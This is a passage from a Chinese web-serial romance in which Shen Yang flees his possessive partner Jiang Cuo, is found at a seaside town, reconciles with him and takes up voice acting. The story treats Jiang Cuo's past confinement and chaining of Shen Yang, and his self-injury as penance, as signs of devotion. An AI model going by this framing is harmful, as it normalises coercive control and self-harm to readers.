“他当时听到一声巨响吓了一大跳,手机掉在了地上,把手机摔坏了,刚刚才把手机修好!” 江措像是被上千根银针虎视眈眈的心脏终于落了地,下一刻,他心脏又提了起来,“两个小朋友在他旁边炸了下水道,他真的没受到一点伤?” “没,他说其实爆炸的下水道离他还有一些距离,就是声音太大了,他没受伤,挺好的。” “那,那就好,那就好。”江措佝偻的脊背终于缓慢地直了起来,他大步流星朝外走,“你在哪里?” 半个小时后,江措驱车来到范窈的公司楼下,用范窈的电话拨通了沈泱的电话号码。 电话拨通了,电话被人接通了。 沈泱恹恹的声音传了过来,“学姐?” 是最熟悉的声音,江措握着手机的手都在颤抖,呼吸不自觉地变轻。 沈泱坐在出租车的后排上,听到一道熟悉的克制的呼吸声,倦怠的身体猛然绷紧,攥着手机的手微微发白。 今天中午,沈泱开车开到一半,发现快没油了,也不想再开车,便找了一个停车场停了车,刚走出停车场想要打一辆车,身旁传来一声巨响,沈泱猝不及防,手机都被惊得掉落在了地上。 沈泱昨天摔坏了一个手机,幸好他家里还有备用机,就重新拿了一个手机,昨天摔坏手机只是屏幕四分五裂,手机还能开机,正常使用,今天这一下摔下去,手机直接关机了,再也开不了机。 沈泱只好找地方去修手机,他现金没多少,新买一部手机就要刷卡,取钱的话江措就会知道他的位置。 因为维修店没有零件,花了蛮长时间才把手机修好,修好后手机里的东西都没了,也找不到范窈的电话号码,沈泱花了挺长时间恢复手机里的数据,然后给范窈打了电话过去。 “泱泱,你没事吧,你在哪里?”江措低声道。 “泱泱是你能叫的吗?”沈泱瞬间暴跳如雷,声色俱厉地骂他,“你这个大混蛋,你竟还敢问我在哪里,你觉得我会告诉你吗?江措顿珠,我恨死你了!” 没给江措说完话的机会,沈泱骂完了他,即刻挂断了电话,然后手机关机。 江措再把电话打回去,也只得到了你拨打的用户已关机,暂时没办法接通。 确定沈泱平安无事,江措将手机还给了范窈,叮嘱她如果沈泱和他联系了,麻烦告知他一声。 沈泱坐上了出租车,他打车去了两百公里外的一个海边小城。 或许因为沈泱是在内陆城市长大的小孩,对于大海有一种天然的喜欢。 他前两个月本来计划和江措过来玩几天,当时因为公司突然有事,最后旅游计划未能成行。 沈泱抵达小城已是黄昏,金橘色的彩霞遍布天空,他打车来到海边,找了一间民宿办理了入住。 晚上,他去了海边的一家海鲜大排档,明明是客如云来的大排档,沈泱却觉得味道很一般,青虾太干,罗非鱼太腥。 简单吃了一点东西,沈泱回到民宿的房间,前滞留在前台的一个男生来问他电话,沈泱抬起眼皮,扫了他一眼,一声不吭地上了三楼。 他定的房间有一扇通透的落地窗,正好对着一望无际的大海,海面上波光粼粼,沈泱盯着窗外的风景看了一会儿,拉上了窗帘洗漱睡觉。 这一觉睡得并不踏实,沈泱醒过来后给手机开了机。 他登录了□□,好几个朋友给他发了消息,问他在哪里?沈泱并不奇怪他们都会问这样的问题,江措肯定把他的每个朋友都骚扰了个遍!可恨的江措炖猪,江措炖死猪,江措炖黑猪!!! 沈泱挑挑拣拣,只没什么精神地回了穆宁然的消息,【在一个风景很漂亮的地方。】 穆宁然秒回:【在哪里?】 沈泱:【干嘛啊?】 穆宁然:【来找你玩几天】 沈泱:【你不拍视频了?】 穆宁然:【摄像师回家参加他姐姐的婚礼了,我正好休息几天】 沈泱过了一会儿,发去消息,【那你不能把我的地点告诉江措】 穆宁然:【我是你的兄弟,还是江措的兄弟?】 沈泱犹豫了一会儿,把他的详细地址发给了穆宁然。 穆宁然是第二天下午来的秋水镇。 “江措就是个大混蛋,他竟然拿狗链子栓我!” 晚上,两个人选了一家看起来很干净的海鲜餐厅,沈泱拿着一罐啤酒,喝了两口后朝穆宁然气冲冲地吐槽道。 穆宁然一怔,“他真用狗链子栓你?” 沈泱:“我说那是狗链子就是狗链子!” 穆宁然放了心,看来不是什么狗链子,穆宁然虽然起初不太喜欢江措那个人,总觉得是对方诱拐了天真懵懂的沈泱,可冷眼旁观这么多年,穆宁然对江措说不上喜欢,也绝对谈不上讨厌两个字。 易身而处,穆宁然自认他完全做不到江措这种地步。 哪怕是对自己未来的女朋友,穆宁然感觉他也做不到这样不计回报不顾一切地付出。 “你们这次到底因为什么吵架了?”穆宁然关心道。 这几年,沈泱和江措没吵过几次架,他还以为这么多年过去了,两个人早就磨合好了。 听到穆宁然这样问,沈泱的眼眶一下子红了。 沈泱没哭,没有眼泪从他的眼眶里滚下来,他只是缄默了片刻,轻声道:“他一直都不相信我,一直都不相信我。” 明明沈泱也为他付出了那么多,可是江措就是不相信他。 穆宁然又问了两遍,沈泱没心情说具体的缘由,穆宁然也不多问,只陪他吃饭,讲一些最近遇见的趣事。 沈泱听到好玩的东西,忍不住笑了起来。 沈泱笑着笑着,心情忽然变得低落了起来。 沈泱不开心的时候,还有好朋友陪着,可是江措似乎没有很好的朋友可以和他分享烦心事。 烦死了,那个混蛋根本就不需要别人分担内心的苦闷,他什么都不乐意说。 干什么又想到江措顿珠?江措顿珠现在和他有关系吗?一点关系都没有。 吃完了晚饭,沈泱和穆宁然去海边散步,回到了民宿。 有一部两个人都在追更的动漫更新了,两个人打开了电视连上网,一集结束后,沈泱去楼下拿矿泉水,穆宁然的手机有人打了电话过来。 穆宁然当时正在想事情,没注意来电显示上的名字,下意识接通了电话。 江措:“穆宁然,沈泱今天有和你联系吗?” 穆宁然正犹豫如何回答江措的问题,沈泱推开门进来说,“穆宁然,我给你拿了可乐。“ “你和沈泱在一起,沈泱在哪里?”江措语气有点激动。 穆宁然道:“我不知道沈泱在哪里?你别来问我。” 沈泱轻快的脚步一凝,他又听见江措有点着急的声音,没问别的,只是语气飞快地问,“他现在好吗?平安健康吗?” 穆宁然仰起头,见沈泱没有要求他立刻挂断电话,只是唇角耷拉了下来,穆宁然道:“还好。” “我挂了啊。”穆宁然将电话挂断了。 沈泱把可乐递给穆宁然,穆宁然接了过来,说:“江措打来的电话。” 沈泱拧松瓶盖,他垂着头,灯光在他脸上形成一片看不透的暗影,“你不要搭理他就好了。” 穆宁然在这里陪了沈泱三天,有一个外地的活动,提前就签好合同了,他收拾行李离开了秋水镇。 离开秋水镇的当天晚上,他又收到了江措的电话,江措估计清楚沈泱现如今不想接他的电话,也清楚他不会把沈泱的地址告诉他,只是问问他今天沈泱怎么样?干了些什么?胃口好吗? 和江措的电话结束后,穆宁然给沈泱打了个电话过去,告诉沈泱刚刚江措又联系他了。 穆宁然在沈泱这里的时候,江措每天会给穆宁然打电话询问他的情况,沈泱已经见怪不怪了,只是穆宁然又说,“我说我去海城了,没和你在一起的时候江措的语气忽然就有些急切,很不放心的样子。” 沈泱手指用力地扯出一张纸巾,“我今年又不是十七岁,我是二十三岁了!” “行了,我挂了,江措给你打电话你不想接就挂了,实在不行,你把他拉……我挂了。”沈泱心烦意乱地挂断了电话。 或许是房间里正好可以看见一望无际的大海,或许大海也没有那么吸引人,穆宁然离开后,沈泱在这里住了三天,发现他并不是很喜欢这个小镇。 民宿的老板是个二十多岁的年轻女孩,像是发现了沈泱这两天的怏怏不乐,她推荐道:“沈泱,这两天镇子上的春日酒吧来了一个唱歌好听的歌手,你晚上如果没事,可以去听一听。” “好。” 沈泱晚上无所事事,所以吃过了无滋无味的晚饭后,他溜达到了酒吧。 沈泱去酒吧的次数很少,江措觉得酒吧里鱼龙混杂,不喜欢沈泱进去玩,沈泱也不喜欢酒吧里眩目刺眼的灯光和摩肩接踵的人群。 一进酒吧,便是热烈奔放的摇滚,重金属的音乐风格震得人头皮发麻,沈泱找了个角落的位置坐下,两三分钟过去了,台上的男歌手换了一首轻柔的民谣,歌声娓娓道来,沈泱不禁仰起头,多看了对方几眼。 他的声音和江措有两三分相似,低沉而冷毅,可是五官和江措截然不同,是那种清秀普通的青年人长相。 沈泱恹恹地低下头,喝了一口他点的云销雨霁,鼻子狠狠地皱了一下。 有一个男人过来要沈泱的联系方式,他长得还行,可是脖子短得快和肩膀持平了,沈泱冷着脸拒绝了。 不多时,陆陆续续又来了好几拨人问沈泱要联系方式,沈泱都没观察他们的长相,只是都语气不善地拒绝了他们。 台上的音乐也不是他想听的,一波一波的人烦得很,沈泱起身离开了酒吧。 走出酒吧大概两三百米,两个男人忽然从沈泱的身后绕到了他的身前,沈泱仰起头,冷着脸盯着他们。 这两个男人是刚刚在酒吧里问沈泱要过联系方式的人,两人个头不算太高,身上都有着明显的健身痕迹,其中一个男人腾蛇文身沿着手臂延伸到手背。 黑色皮衣的男人笑了笑,“帅哥,你是一个人来这里玩吗?” “我是几个人关你们什么事啊?”沈泱朝前走。 纹身男跟在他身边,说:“一个人来这里玩多无聊啊,要不和我们做个伴。” 沈泱都不想和这两个人多说一句话,抬脚就要越过他们朝前走,脚刚往前迈出一步,皮衣男侧走一步,挡住了沈泱的去路。 沈泱眉头拧得更深,他朝另外一侧走去,另外一个男人挡住了他的去路。 沈泱盯着这两个男人。 两个男人像一堵墙挡住了沈泱,嬉笑道:“帅哥,没别的意思,加个联系方式呗。” “滚开,我不加。”沈泱脸色铁青。 其中一个男人闻言,接着嬉皮笑脸道:“加一个呗,帅哥,你皮肤这么好,是南方人吗?” 话音刚落下,男人旋即伸出手,沈泱下意识往后退开,但与此同时,还有一只手越过沈泱的后背,搭在了沈泱的肩头,他手掌握着沈泱的肩膀发力,轻而易举地带着沈泱旋转半步,避开了和皮衣男的肢体接触。 皮衣男神色不爽地望着突然出现的男人。 突然出现的男人有着凌厉深邃的五官,冷白色的路灯投射在他冷硬而高大的身躯上,像是暗夜里一头护食的野狼。 对方沉声道:“滚开。” “不是,兄弟你谁啊?是我们俩先和这个帅哥搭讪的。”皮衣男烦道,有这么一个大帅哥,眼前这个帅哥还能看上他们这两个普通帅哥吗? 沈泱一把拍开江措搭在自己手臂上的右手,脸色阴沉地朝前走,江措连忙跟上,一把拽住沈泱的手腕,“沈泱……” 沈泱冷着脸,想要甩开江措握着自己的手腕,但紧接着,一个熟悉的怀抱来袭。 在这样一个冰寒的冬日,江措张开双臂,牢牢地将沈泱抱在了自己的怀里,他的嘴唇贴在沈泱的耳骨,声音一声比一声哑,一声比一声颤,“宝宝,江措的宝宝。” 刚刚意识到江措终于找过来了,沈泱的心情还没有太大起伏,可此时此刻,熟悉的皂粉香气席卷鼻端,沈泱的鼻骨瞬间刺疼,他恶狠狠地骂道:“你放开我,你放开我!江措,我根本不想看见你。” 沈泱虽然讲这种冷漠无情的话,眼泪却顺着脸颊瞬间往下滚,因为没有人比他更清楚,不是的不是的不是的。 并不是根本不想看见江措,他和江措在一起这么多年,已经很久没有分开过这么长的时间,就算有时候江措出差了,每天两个人也要打几通电话,到了晚上,沈泱可以听着江措的声音入眠,而且这是极少数的时候,绝大部分时间,沈泱都会贴着江措的胸膛,热乎乎的入睡。 江措没有松开沈泱,只是将他紧紧地搂在怀里,身体微微地颤抖着。 沈泱靠在江措的怀里哭了一会儿,忽然,一把推开江措,擦干眼泪后厉声通知道:“我要去配音!” 江措的呼吸一窒,没有立刻给出答案。 脑袋像是被刀子割掉了一块肉,沈泱陷入了空茫茫的情绪,所以江措还是不会同意他做喜欢的事吗? “沈泱……” “不要叫我。”沈泱泪眼朦胧地后退了一步,避开江措和他的身体接触。 江措的心脏就像是被一把尖刀捅了进去,疼得他几乎都不能呼吸了,他一把攥住沈泱的胳膊,颤抖地将人拉住自己的怀抱,“宝宝,你以后做什么都可以,只是你不要再离开我了。”—— 作者有话说:存稿基本用完了,原来我更的多,不是我每天写的多,而是因为我有十几万存稿!!!这章原来是两章,但是大过年的不想让两个崽还在吵架,所以合而为一啦。 祝读者宝宝们新年快乐,万事如意,平安健康,马年暴富,这章会有六十六个小红包啦[接][接] 希望这章宝宝们会满意,其实我写的时候依旧很忐忑啦,但江措只有发现有时候他攥的越紧,反而会适得其反的时候,才会退步,毕竟他的一切行为都是想要泱宝留在他身边啦。 最后,明天应该不更,我要休息一天啦,初一晚上见啦,宝宝们[求求你了][求求你了][求求你了]《 》 60-69 第61章 从沈泱离家出走, 杳无音信之后,江措的心脏就处于烈火焚烧中,沈泱离开了他, 他会遇到什么?会遇到比江措更符合他心意的男人吗?他能照顾好自己吗?沈泱连床单都不会铺, 内裤袜子这么多年他都没舍得他洗一下,沈泱去了人生地不熟的外地,他会不会生病? 一想到这些, 江措完全没办法正常的生活了。 “宝宝,以后我会改的, 你不喜欢的我都会改。”江措的嘴唇不断地碰过他的发稍,额头, 耳骨, 低声说道。 沈泱的行为无疑让江措有了一次刻骨铭心的反省。 江措习惯于被抛弃, 在瘦弱的不能反抗的幼年, 奶奶, 妈妈, 小白, 甚至他最喜欢的一只带布丁的玩具熊,最后都没办法拥有, 全部会因为各种各样的原因离他而去。 当江措长成一个少年时, 他已经没有什么兴趣爱好了, 反正都不会属于他。 沈泱是这么多年来唯一江措想要拼命抓住的人,所以仅仅是占有欲不想沈泱去配音吗? 更多的是害怕沈泱脱离他的控制, 害怕沈泱接触的人越多, 就发现江措的缺点实在是太多了,害怕沈泱像别人一样抛弃他。 生他的母亲不在乎他的死活,血浓于水的奶奶也会抛弃他, 明明,他们曾经都对他很好。 江措应该是有一些不讨喜的地方吧。 “宝宝,我真的会反思我自己,宝宝,江措的宝宝。”江措贴着沈泱的耳膜,不断地絮叨着。 沈泱仰起头,这才意识到一周不见,江措瘦了太多,眼眶凹陷通红,脸颊上一丁点肉都没有了,下颌处有清晰的胡茬冒出来。 沈泱心脏被一双大手狠力一扭,他踢了他一脚,双眼发红恶狠狠地骂他,“江措,你这个大混蛋,你这个该死的控制狂,我最讨厌你了,最讨厌的就是你了!” 沈泱说完,忽地张开嘴,牙齿朝江措裸露在外的脖颈狠狠一咬,江措喉间传出一声闷哼,沈泱咬的毫不留情,似乎想要把他的肉咬掉一块。 江措没有挣扎半分,手掌虚虚搭在他的后腰上,仰着头,忍耐脖颈处传来的疼痛。 沈泱松开嘴,江措立刻从口袋里抽出两张纸巾,沈泱一把抢过纸巾,粗暴地擦了擦唇角,转身往前走。 江措跟了上去。 沈泱没回民宿,他今天就中午吃了几口卤肉饭,晚饭不合胃口,就吃了两块鸡肉,肚子后知后觉有点饿了,没故意找什么饭店,经过长街时,看到有一家海鲜面馆,沈泱走了进去,要了一碗海鲜面。 江措跟在沈泱身后,走了进去,他在沈泱对面坐下,看了眼沈泱的脸色,对老板说:“和他一样。” 老板去后厨煮面了,江措抽了两张纸巾,擦拭略显油腻的餐桌,沈泱则一言不发。 两碗海鲜面上了桌,江措问老板有没有一次性筷子,老板说有后,取了一次性筷子,包装拆开,又用纸巾仔细地擦拭一遍后,江措才把筷子递给沈泱。 吃完了面条,两个人结账离开,沈泱回到了民宿,江措也跟了进去,民宿里有暖气,沈泱进门之后脱掉了羽绒服,他早就瞥见江措左手上裹着的纱布了,只是此时才冷着脸问了一句,“你手怎么了?” 江措将沈泱的外套挂在衣架上,随口回了一句,“没怎么,只是把手上的死茧剐掉了。” 几秒钟之后,沈泱才理解了江措的言下之意,他抓住江措的手,大力地捏了一下,江措脸色微微一变,沈泱的眼睛又红了起来,“江措,你这个疯子!” 江措将沈泱拽入怀中,搂着他说,“宝宝,只有疼才会长记性。” 更何况,江措没感觉手掌疼,比起他心里的焦灼来说。 沈泱冷声命令江措把纱布拆开,江措道:“没什么好看的。” 沈泱的眼眶红了,“江措,你又不尊重我的意思是了吧!” 江措立刻拆开了纱布。 高中结束后他没做过什么重活,沈泱偶尔嫌弃他左手太粗糙,总是把他弄得不舒服,买了许多护手霜给他涂,只是过去十几年留下的痕迹实在是刻骨铭心,哪怕四五年过去了,手心的厚茧依旧只有一丁点的淡化。 沈泱看了一会儿,憋住了眼眶里的酸涩,冷着脸洗漱后上了床,不多时,江措洗漱完也爬上了床。 沈泱闭着眼睛,背对着他,江措伸手将他抱入怀里,沈泱用手肘捅了他几下,但没有表达强烈的拒绝。 他后背贴着江措的胸膛,不知道过了多久,他忽然转过了头,江措本来就没睡着,沈泱的动作立刻惊醒了他,江措睁开了眼睛。 沈泱的眼眶又泛红了,“江措,我没有想过和你分手的,哪怕是你把我关在房间里的时候,我也只是很生气,我没有想过要和你分手的。” 沈泱仰起头,亲了亲江措带着点胡茬的下颌,用一双清澈纯粹的眼睛望着他,“江措,沈泱也是不可以没有你的。” 沈泱和江措在一起的年龄太小了,他从来又不是理智的权衡利弊的人,只是觉得好像并不反感和江措一起变态,和江措亲亲的感觉也很好。 如果在所有认识的人里选一个谈恋爱,沈泱只想选择江措。 可是现在的沈泱已经很清楚江措对他意味着什么。 最起码,江措如果想要和他分开,沈泱真的会咬死他! “江措,江措的宝宝永远会爱你的。”沈泱努力瞪大眼睛,对江措很认真地讲道。 江措盯着沈泱看了半晌,忽然抬起手,恶狠狠地给了自己一巴掌,他的脸颊瞬间红了。 “江措,你……” “宝宝,对不起,对不起。”江措搂紧了沈泱,恨不得把他镶嵌入自己的骨头里,“沈泱,你是天底下最好的人,我不应该把你那两个人混为一谈的。” 沈泱贴在江措的胸膛,感受着他的体温,等江措的情绪稍微和缓一些,沈泱回搂住他,仰起头,大方地说,“没关系,我原谅你啦。” 江措盯着不计前嫌大方而洒脱的沈泱,过了片刻,忽然又搂紧了沈泱,直到沈泱快呼吸不过来了,肋骨都被他勒的发疼,江措微微松开他一点。 “还是太紧了。” “可以了吗?” “再松开一点。” “现在呢。” “……可以再紧一点。” “……好。” 今晚两个人没有□□,沈泱和江措只是紧密地搂抱在一起,沈泱可以仰着头。 他和江措讲秋水镇的海,碧绿的像是一块通透的翡翠,到了夜晚,月光洒在上面,波光粼粼,讲这里难吃的几家海鲜烧烤餐厅。 只是虽然在这里待了好几天,许多地方都去过了,可是并没有给沈泱留下特别深刻的印象,于是提起来,似乎并不是美好快乐的几天。 “你呢,你这几天都在做什么?”沈泱问道。 “想你。”江措低头,亲了亲沈泱的额头。 翌日,江措在镇子上停留了一天,陪沈泱去看完了镇子上声名远扬的大海,品尝了一家沈泱觉得最美味的餐厅,晚上的时候,两人收拾东西,回了申城。 给江措左手换了药,沈泱忍不住红着眼睛给了他两脚,“江措,你不准再伤害你自己了。” “好。”江措随口应道,又擦拭掉沈泱眼角溢出来的眼泪,“又不怎么疼。” “那你还说疼才能让你长记性!”沈泱骂他。 江措:“没找不到你难受。” 第二天,江措很早就起床去公司了,沈泱醒过来的时候,房间里只剩下了他一个人,不过没有前段时间的低沉寥落难受了。 他神采奕奕地给江措发了两条消息下去,刷完牙换好衣服下楼吃早餐,王姨做的早餐还是他最喜欢的土豆饼。 吃完了早餐,沈泱打算联系范窈。 他签好了合同但是没办法履行约定,违约金要付给人家。 “沈泱。” “学姐是我,我回申城啦,我的违约金应该怎么付啊?”沈泱因为报酬并不高,违约金也不多。 “违约金,什么违约金?”范明白过来了,“你回申城了是吧,那我们确定好时间,你来把你的戏给配了。” 沈泱纳闷,“合同规定的时间不是六天前吗?” 范窈道:“你老公投了十五万,所以我们录音的时间延长了一些。” 沈泱惊愕:“江措投钱了?他都没有和我讲过。” “那你自己打电话问他吧。”范窈感慨道,“你不见的那几天,你老公真的是差点疯了。” “沈泱,我现在都不知道是同情你,还是羡慕你了。”范窈沉默了一会儿说,以前她当然是同情沈泱的时候居多,沈泱漂亮可爱讨喜,就算没有江措,应该也会愿意有人如珠如宝地捧着他。 可是应该不会有第二个人像江措这么爱他的了,可以不计回报的朝沈泱很贡献自己的一切,所有的财产都愿意和沈泱共享。 哪怕以前的占有欲太强烈,可能够被强烈的需要来说,其实也是一件很罕见珍贵的爱意吧?何况江措那样强势的人,现在也愿意为了沈泱的喜爱退步。 结束和范窈的电话后,沈泱忙不迭给江措打了一通电话,电话不多时就被人接通了,沈泱语气雀跃地道:“江措,那个广播剧你投钱了,让他们延迟了录音的时间?” 江措站在落地窗前,骨骼分明的手掌握着手机,脸上的脸色有点硬。 沈泱没等到江措的回应,以为他没听清楚,兴冲冲地重复了一遍,江措才言简意赅地嗯了一声。 “江措,你怎么这么好啊。”沈泱激动地从沙发上跳了起来,对着手机热情地亲吻了好几下—— 作者有话说:新年快乐,宝宝们,依旧是六十六个小红包啦。 第62章 江措听见沈泱欢呼雀跃的声音, 脸上终于露出一点笑。 江措挂断电话后,回到办公室和黄风等人继续讨论收购案,众人隐隐约约能感受到, 江措的心情似乎好了不少。 沈泱的时间弹性大, 现在也没有其他工作,另外一个cv时间很紧,约好了五天后一起去配音室配音, 这是大家第一次做商配,虽然曾经两个主cv都分开录, 基本没机会合在一起,但这次大家还是希望能在一起, 说不准会有一些新的有趣的火花产生。 沈泱早就看完了原著, 这几天他把剧本打印了出来, 没空就看一看。 这一天晚上, 沈泱洗完澡出来, 就见江措拿着他的剧本在看, 沈泱凑过去一瞅, 发现竟然是最后一集的内容了。 小说里攻受都在接吻,沈泱仔细地看了看江措的脸色, 又凑过去亲了他一下, 声音轻软地安抚道:“到时候我亲的只会是我的手指啦, 也可能亲的是手背。” “我知道。”江措说。 沈泱扫了扫他的脸色,把剧本抽出来, “你别看了, 去洗澡睡觉吧。” 江措被沈泱推进了卫生间,江措没什么表情地提醒:“衣服。” 沈泱去衣帽间的把江措的睡衣拿了一套递给他,江措速度快, 沈泱一把游戏没打完,江措就吹干头发走出来了。 “你怎么又看剧本啊!”沈泱游戏结束后,连忙去抢江措手里的剧本。 江措伸长手,避开了沈泱抢走他手里的剧本,只是低下头说:“没关系,我会克制住我的不爽。” 又讲这样的话,“沈泱,我没办法不去了解你的具体工作内容是什么。” 沈泱进棚配广播剧的第一天,江措只是开车把他送到了工作室的楼下,第二天下午他再忙也抽出了空,在录音室外面等着他。 录音棚的隔音效果优越,外面听不到里面的声音。 江措站在玻璃墙外,盯着坐在电脑前面的沈泱,沈泱旁边还有一个二十多岁的年轻男孩,江措并不想用英俊形容他的长相,但也没法用丑陋来形容对方的长相。 陌生的男人情感充沛地张了张嘴,紧接着,沈泱开始讲话。 过了一会儿,录音棚外面的导演提醒道:“困水,喘息声再重一点。” 沈泱应该说了句好,然后喘了两声。 江措没戴耳麦,听不见里面的声音,但因为看过剧本的内容,知道沈泱现在配的是哪一部分的内容,江措看似平静地在墙外看了一会儿,一言不发地转身离开了。 衣兜里的手机响了起来,江措摸出手机,看见是沈泱的来电,漆黑的眼神逐渐聚焦,他掐灭手指间猩红的烟火,干脆地扔进一旁的垃圾桶里,快速接通了电话。 “江措,江措你在哪里啊?我配完了。”沈泱雀跃的声传进耳膜里。 江措抬起头,打量了周围的环境后,告诉他现在的位置。 “江措,你怎么跑这里来了?”沈泱在楼下花园的一个拐角里找到了江措,他脸上带着轻快的笑容扑进江措的怀里,“我工作结束啦,我们回……” 沈泱的鼻子不舒服地吸了吸,他踮起脚,趴在江措的脖子上使劲儿嗅了嗅,鼻子皱了起来,“江措,你抽烟了?” “是抽了一根烟。”江措说,“我以为在空旷的室外,你会闻不到。” 哪怕江措从来不给沈泱任何创业和经济上的压力,但沈泱毫无疑问是陪着江措从一穷二白走过来的,何况江措是沈泱的枕边人,沈泱知道江措前两年的压力大到普通人难以想象。 李冬和陈平风最烦躁的时间里,一个人一天能抽两三包烟,江措一般情况下极少抽烟,可偶尔也抽一两根,尼古丁不是个好东西,可在某些时候,能够缓解情绪的焦躁,令大脑最快地恢复平静。 “走吧,我们回家。”江措牵起沈泱的手腕,语气平淡地说。 奔驰车的中控台上,颜色明亮的粉色小猪车饰上挂着平安的小瓷牌,沈泱坐在副驾驶的位置上,视线不聚焦地掠过前方连绵不断的车流,过了一会儿,沈泱不太自然地扣了扣脸颊,忽然说道:“江措,你还记得我们第一次见面吗?” 江措两只大手猛然握紧了方向盘,眼睫微颤,“记得。” 沈泱回忆道:“我也还记得呢,你当时那么人高马大的一个人,就直挺挺地从大街上倒下去了。” 轮胎凌厉刺耳地擦过柏油马路,引起身侧的汽车愤怒地鸣笛,江措的胸膛在这一刹那剧烈起伏难以描述,他呼吸急促地将奔驰以最快的速度停在了一边。 江措转过头,目不转睛地盯着沈泱。 眼神里面难掩惊愕。 “沈泱,你说什么,你说我们第一次见面在哪里?”江措声音颤抖。 沈泱露出果然如此的表情,他脸颊稍稍鼓起,不满地重哼一声,“江措,我就知道你不记得了!!” “10年的秋天,你去了蓉城,结果走在大马路上就倒下了,我坐在车里看到了,我还让李叔送你去医院了,还帮你缴了住院费,医生说,你都高烧到四十一度了,再晚一点可能命都没有了!!” 那是沈泱去久塘的前一年,家里还没破产,沈泱还是那个尊贵骄矜的小少爷,上下课和出门玩都有专车接送。 那是一个周末,沈泱让司机李叔送他去穆宁然家玩,结果汽车开到半途中,沈泱瞥见一个很黑的男生穿着廉价单薄的深蓝色运动服外套,格格不入地走在花坛被修建的整齐美观的大马路上。 沈泱正准备收回视线的时候,就见对方直挺挺地朝着马路上栽了下去。 沈泱连忙让李叔停车,两个人打开车门疾步走了过去,少年倒在地上,麦色的皮肤上隐约透露出不正常的驼红,沈泱手指不经意拂过对方的脸颊,被烫得吓了一跳。 对方在发高烧。 就算沈泱的生活经验算不得十分丰富,可也知道高热是非常危险的一种东西。 于是他让李叔先把对方扶上车,送去了医院。 沈泱皱着眉头说:“当时我还让李叔帮你缴了两千块钱的医药费呢!!” 少年送入急诊后,医生说烧得太厉害,打了针后便安排病床输液,李叔帮江措脱掉了他洗得发白的廉价运动鞋。 沈泱惊讶地发现他穿了一双红袜子,两只袜子的前端被磨破了,露出两只局促的脚趾来。 虽然沈泱能够看得出来对方不算富裕,但还是有点惊讶于少年的贫穷,穆宁然在打电话催促他,电影马上要开始了,沈泱让李叔缴纳了两千块的医药费后,快步离开了医院。 “江措,不是随便一个人都可以的。” 为什么在偏僻的久塘,可以心安理得地黏着江措,花他的钱,住他的屋,而不是其他人,明明在那个偏僻的高原农村,江措的口碑并不是很好,还有那么多看起来温和善良的村民。 那是因为沈泱觉得如果没有他当初的仗义相助,江措说不准烧成了一个傻子,或者高烧烧死了,身为江措的救命恩人,沈泱当然可以理所应当地对江措颐指气使。 后来两个人关系发生了改变,沈泱都和江措亲亲了,江措向沈泱一而再地承诺不会喜欢女孩子,他们俩以后就是彼此最重要的人了,他还辛苦地吃了那么多次大黑鱼。 那么理所应当的,江措应该为沈泱付出的就不仅是他的金钱,他的时间,他的照顾了,就应该是江措的一切,他的感情,他在不同时间段最珍贵的东西! “江措,我不会再有第二个十六岁了,也不会在再街头捡到一个发烧昏迷的少年了,所以你就是不可替代的,永远也没办法替代的。”沈泱盯着他,说道。 沈泱说不清楚他到底是在哪一个瞬间爱上江措的,把他视为自己生命里最重要的存在,可是二十多岁的沈泱是有了一些变化,如果江措强烈的占有欲是因为没有安全感,那么沈泱愿意把自己的一切都交给他。 希望他的爱人也能感受到正在被爱。 就像沈泱永远能够感受到被江措爱和珍惜一样,尽管那份爱也并不是完美的,可沈泱热烈地被那份爱意包裹着。 “沈泱,你记得,你竟然都记得。”江措裹在西装外套下的手臂不引人注意地颤抖着,吐出的字一个字比一个字都重,语气更是带着难以置信。 沈泱瞬间醒悟了过来,手掌撑在江措猛然靠近胸膛上,怒道:“什么意思!你知道当年是我救了你!!你为什么不早点告诉我!” 他还以为江措不记得呢,因为他全程昏迷着。 在高原上见到沈泱之前,江措并不确定那是不是一个幻影,那一年秋天,他去蓉城参加一个物理竞赛,那是他头一次从偏僻贫困的川西小城来到繁华的大都市,来到蓉城的第一天,他便有些不舒服,两天的考试结束,他明显能够感觉到自己病得更严重了。 只是江措从小到大,没有去医院看病的习惯,哪怕是再严重的伤情,也只是买一些跌打损伤的药膏。 那天考完最后一门考试,江措走出精致漂亮的像城堡的学校,朝不远处老旧小巷的酒店步行过去,然后感觉到了一阵天旋地转,他倒在了地上。 迷迷糊糊的时候,江措听到了一声难以描述的扣人心弦的声音,像是在山里摘了整天的松茸后,踏实安稳地睡了一觉的舒畅,“同学,同学,你怎么了啊?” 他费力地掀开了一点眼皮,看到了一个白得发光的少年,睫毛长长的,眼睛大大的,像是神话故事里的天使。 江措还想再看,可是一点力气都没有了,眼皮坠下来,他陷入了无尽的沉睡。 再醒过来,是在蓉城某家医院的病床上,他躺在病床上输液。 护士告诉他,是一个中年人和一个漂亮的少年送他来的医院,还帮他缴纳了医药费,江措身体素质远超普通人,第二天中午,他就从医院出院了,两千块的医药费还剩下了一千一。 他问护士有没有那两人的联系方式,护士摇头,说对方没有留下联系方式。 江措在蓉城多待了两天,他两天也没干别的,只是孤独地坐在他当初昏厥马路旁的花坛上,可是等了两天两夜,没有再碰见他。 是很正常的一件事吧,蓉城有上百个久塘那么大,在偏僻狭小的久塘县城,可能几年都遇不上一个曾经和你擦肩而过的人,何况是在蓉城呢? 江措低着头,秋夜的寒风扑过来,他面无表情地吃完了手里冷掉的两个白馒头,走了十公里路,在天色将明时来到了蓉城的汽车站,坐上了回到久塘的长途汽车。 只是江措贫乏困苦里的人生里绚烂的一场梦,江措当时并没有什么感受,他只是想要把那剩下的一千多块钱还给对方。 可是回到久塘不久,江措发现自己有了巨大的变化。 江措很早就接触到性了,他小的时候,他和父母睡一张床,而江措的记忆力又比普通人好上许多,在许多人不记事的年龄他就开始记事。 不过那个时候是很懵懂的,直到他母亲离开后,那个男人有时候带各种各样的女人回家。 江措觉得这种事很恶心。 等到了青春期,哪怕生理成熟了,没对任何人产生过任何幻想,偶尔听到一些男同学讲一些带颜色的东西,江措只觉得肮脏和龌龊。 直到高二那年,从蓉城回来。 从来不做梦的江措开始频繁地做梦,梦里的人都长着相同的一张脸。 有的时候,江措晚上会醒过来好几次,需要清洗好几次裤子。 终于,在一个明月高悬,平平无奇的夜晚,江措蹲在久塘一中狭窄局促昏暗的洗手间里,平静无波地发现了一件事。 原来,他是个男同性恋。 意识到这件事后,江措心里没有生出任何情绪波动,就像是米饭和馒头的选择里,他随意地选择了其中一样。 